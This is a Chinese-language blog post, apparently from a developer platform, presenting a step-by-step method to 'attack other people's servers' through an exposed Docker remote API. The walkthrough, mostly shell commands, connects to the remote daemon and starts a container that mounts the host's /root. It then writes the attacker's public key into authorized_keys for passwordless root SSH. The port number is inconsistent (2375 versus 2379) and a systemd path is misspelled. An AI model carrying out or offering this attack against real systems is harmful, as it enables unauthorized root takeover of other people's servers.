利用docker漏洞攻击别人服务器

前言
  • 通过docker的远程服务向服务器的ssh写入本机公钥实现免密登录。
实现原理
  • docker开启了远程访问服务

  • 服务器有ssh服务(一般都有)

  • docker开启了远程服务之后通过docker的挂载功能将root/.ssh/目录挂载到docker容器中然后将本机公钥写authorized_keys中,即可实现ssh免密登录

实现过程
  • docker开启远程服务
vim /lib/system/system/docker.service
# 修改ExecStart
ExecStart=/usr/bin/dockerd  -H tcp://0.0.0.0:2375  -H unix:///var/run/docker.sock
# 重启docker
systemctl daemon-reload
systemctl restart docker

从虚拟机或者其它服务器远程操作docker

docker -H tcp://xxx.xxx.xxx.xxx:2379 ps -a

可以看到远程主机上的docker容器了

平时我们都是使用docker ps来查看本机运行的容器,这里使用-H,指定A主机的IP和端口,即可以查看远程主机的。

  • 启动一个centos镜像
# 拉取镜像
docker -H tcp://xxx.xxx.xxx.xxx:2379 pull centos
# 启动容器并进入容器bash
docker -H tcp://47.102.xxx.xxx:2379 run -it -v /root:/tmp/root centos bash 
  • 复制自己的公钥
    在这里插入图片描述
    再次进入docker容器bash,找到.ssh文件,没有的自己创建一个
# 进入/tmp/root下(相当于系统的root目录,因为root挂载到了tmp/root下)
cd /tmp/root
# 没有.ssh目录创建
mkdir .ssh
cd .ssh
# 没有authorized_keys文件,自己创建,将公钥添写进文件中退出
vi authorized_keys
  • 使用ssh连接服务器
ssh xxx.xxx.xxx.xxx
# 发现不要密码 直接进去了

喜欢点个赞
留个群
在这里插入图片描述

  • 2
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值